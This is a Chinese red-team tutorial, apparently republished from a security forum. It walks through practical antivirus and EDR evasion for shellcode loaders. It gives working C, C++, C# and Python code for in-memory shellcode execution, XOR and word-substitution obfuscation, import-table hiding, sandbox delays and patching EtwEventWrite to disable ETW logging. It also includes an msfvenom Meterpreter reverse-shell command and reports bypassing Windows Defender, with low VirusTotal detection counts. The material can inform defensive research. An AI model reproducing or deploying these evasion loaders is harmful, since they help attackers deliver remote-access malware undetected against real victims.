红队开发基础-基础免杀(一)
2022-6-16 23:41:44 Author: xz.aliyun.com(查看原文) 阅读量:42 收藏


引言


最近在某某糖上看到有人翻译 A blueprint for evading industry leading endpoint protection In 2022,翻译原文链接:http://tttang.com/archive/1573/

原文只简单讲了一下大致的思路,具体的复现并没有。本文就是对文章提到技术点进行简单复现。

shellcode加密


主要参考 ShellcodeWrapper的代码

内存执行shellcode

函数指针的概念

定义:

函数返回值类型 (* 指针变量名) (函数参数列表);

如:

int(*p)(int, int);

如何使用:

#include <iostream>
#include <windows.h>

void print() {
std::cout << "123";
}

int main(){
void(*p)();
p = print;
p();}

通过函数指针的方式可以调用当前程序地址空间里的函数,前提是需要知道虚拟内存种机器码的地址。一般和VirtualAlloc相结合

unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();

虚拟内存

我们通过VirtualAlloc函数分配了一块虚拟内存,返回了一个指针变量exec,指向这块虚拟内存的首地址。 之后将数组拷贝到这块内存中,在visual studio里选择debug->window->memeory 可以查看当当前程序的内存情况,将调试器里exec的地址填入:

通过调试的插件我们可以看到此时shellcode已经被写入了内存,之后通过函数指针将void*强制转换成函数指针并进行调用。使用不经过混淆的的c shellcode,编译windows definder都会报毒,直接无法编译:

关闭definder,可以进行成功上线。

使用工具进行xor混淆,生成shellcode装载代码:

这种对shellcode的加密实际就是对字符串进行加密,主要是静态的混淆,这里刚开始没注意看官方的readme,官方的例子使用msf:

[email protected]:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw

生成的raw格式的,笔者开始使用cs直接生成了c代码,结果代码是对文件中每一个字节加密的。

重新生成raw格式代码,编译结果definder依旧报毒,注释了函数指针执行部分依旧。

说明不是函数指针执行部分代码报毒,单凭shellcode这种程度的混淆还是远远不够的不够的。

降低熵值


编译阶段

在visual studio中,程序编译阶段选择resource file - > add -> resource - > icon,增加图标。

修改二进制文件特征

对于没有源码的程序,也可以通过工具resourcehacker修改图标,达到修改其特征值的效果:

字符串变形


文章中提到了想法:

一个更优雅的解决方案是设计并实现一种算法,将经过混淆处理(编码/加密)的shellcode变成英文单词(低熵)。这种方法简直就是一箭双雕。

其实也是类似shellcode混淆的技术,因为笔者的c很一般,c执行的时候需要存储字节和单词的映射关系,在c语言中没有string类型和dict等数据结构,也不熟悉STL,写起来很僵硬,这里使用c#执行shellcode。

意外发现简单混淆shellcode+csc编译就已经能够过windows definder了。

直接使用vs编译还是会报毒:

c#执行shellcode的方式略有区别,这里没有使用函数指针,而是使用了windows api createThread:

HANDLE CreateThread(

  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,

  [in]            SIZE_T                  dwStackSize,

  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,

  [in, optional]  __drv_aliasesMem LPVOID lpParameter,

  [in]            DWORD                   dwCreationFlags,

  [out, optional] LPDWORD                 lpThreadId

);

顾名思义,在当前进程创建一个线程。主要是第三个参数提供一个指针。和VirtualAlloc+ Marshal.Copy结合使用。使用csc编译就可以bypass windows definder

使用py对字节进行随机单词替换:

from random_words import RandomWords

hex_temp=[0x9d]

hex_single = list(set(hex_temp))
words=[]
words_list=[]
payload="string p =\""

# generate dict list  ---  for singel
rw = RandomWords()
for h in hex_single:
    success_add=False
    while not success_add:
        word = rw.random_word()
        if word not in words:
            words.append(word)
            words_list.append({h:word})
            success_add=True


# convert shellcode to string

for h in hex_temp:
    for d in words_list:
        for k in d:
            if h == k:
                payload=payload+d[k]+" "
print(payload.rstrip(" ")+"\";")


# generate c#  table to compare

ret_string="string s =\""
ret_h="char[] raw = {"

for d in words_list:
    for k in d:
        ret_string=ret_string+d[k]+" "
        ret_h=ret_h+"(char)%d,"%(int(k))
ret_h=ret_h.rstrip(",");
ret_string=ret_string.rstrip(" ");
ret_h=ret_h+"};";
ret_string=ret_string+"\";"
print(ret_string)
print(ret_h)

使用C#进行解密:
依旧报毒
但注释掉CreateThread部分就可以通过,shellcode的免杀没有大问题。这里换一种shellcode加载方式,魔改SharpInjector的EtwpCreateEtwThread加载:
可以成功上线:

沙箱绕过


原文中提到可以延时shellcode的执行,原文作者采用的做法是取一个大素数并作为密钥的使用。笔者这里直接暴力使用sleep实现延时:

Thread.Sleep(1000*30);

对于云端沙箱,之前听别人简单说过,可以通过制造大文件、删除文件等方式阻止上传到云端。这里简单增加了一首MP3资源进可执行文件演示一下。

导入表混淆


本来想对c#的程序进行混淆,发现c#编译出来的程序识别不出导入表:
c和c++的却可以:
推测c#和java类似有jvm虚拟机这种技术存在,不是标准的exe。所以还是对开始的c程序做导入表混淆。

不做任何混淆时的导入表,显然有VirtualAlloc这样的敏感函数,通过函数指针的方式隐藏。前面介绍过函数指针,需要在内存中找到对应函数,在内存中找对应函数地址的API是GetProcAddress:

FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

第一参数为dll模块句柄,通过GetModuleHandle函数获取:

GetModuleHandle((LPCSTR)sKernel32)

第二个参数为函数名,这里指定为VirtualAlloc。

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);

void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这里使用了函数指针的另一种定义方式:

typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD  flAllocationType, DWORD flProtect);

编译执行,可以看到导入表中已经看不到VirtualAlloc函数了

禁用Windows事件跟踪 (ETW)


ETW指Windows事件追踪,是很多安全产品使用的windows功能。其部分功能位于ntdll.dll中,我们可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是修改EtwEventWrite函数,详情可以参考:ETW的攻与防 & Detecting process injection with ETW

主要用到几个api:

  • NtProtectVirtualMemory

    NT开头的函数是内核函数,用户态函数为VirtualProtect :

    BOOL VirtualProtect(
      [in]  LPVOID lpAddress,
      [in]  SIZE_T dwSize,
      [in]  DWORD  flNewProtect,
      [out] PDWORD lpflOldProtect
    );

    该函数在调用进程的虚拟地址空间中更改对已提交页面区域的保护,第三个参数比较关键,参考memory-protection-constants。第四个参数返回内存原始属性的保存地址,修改完毕后要恢复。

    对于这种未公开的api内核函数调用,需要手动去获取其地址,首先定义函数指针:

    typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
    tNtVirtual oNtVirtual;

    进行调用:

    FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll),"NtProtectVirtualMemory");
      oNtVirtual = (tNtVirtual)farProc;
      oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_NOACCESS, &oldprotect);
  • FlushInstructionCache

    该函数主要是对内存修改后刷新缓存

    BOOL FlushInstructionCache(
      [in] HANDLE  hProcess,
      [in] LPCVOID lpBaseAddress,
      [in] SIZE_T  dwSize
    );

    参数一目了然,没什么好解释的。

我们首先找到EtwEventWrite函数在虚拟内内存中的地址:

HANDLE hCurrentProc = GetCurrentProcess();

    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };

    void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);

将内存属性改成PAGE_READWRITE,这里size是我们需要修改内存的大小。

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);

修改内存:

memcpy(pEventWrite, patch, size / sizeof(patch[0]));

恢复内存属性:

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);

完整的实现:

typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;


void disableETW(void) {
    // return 0
    unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 };     // xor rax, rax; ret

    ULONG oldprotect = 0;
    size_t size = sizeof(patch);

    HANDLE hCurrentProc = GetCurrentProcess();

    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };

    unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};



    void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
    FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
    oNtVirtual = (tNtVirtual)farProc;
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);

    memcpy(pEventWrite, patch, size / sizeof(patch[0]));

    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
}

查看内存

修改成功

总结


本文总结了5种常见的免杀技术,主要是静态的免杀。

其中c#搭配静态字符串加密,异或加密,沙箱绕过,EtwpCreateEtwThread上线的技术,vt检测结果为13/68

因为还是基于开源的恶意工具改的,其中依旧有一些其他的静态特征影响,单独出来实现效果应该会更好一些。

c++的程序使用disableETW,shellcode加密,隐藏导入表的免杀方式,vt检测结果为4/68,比想象的好很多。

c++的程序更换shellcode的加密方式过definder应该没有问题。静态的免杀还是比较容易的。

源码


本文实现的例子相关代码均进行了开源:EDR-Bypass-demo


文章来源: https://xz.aliyun.com/t/11448
如有侵权请联系:admin#unsafe.sh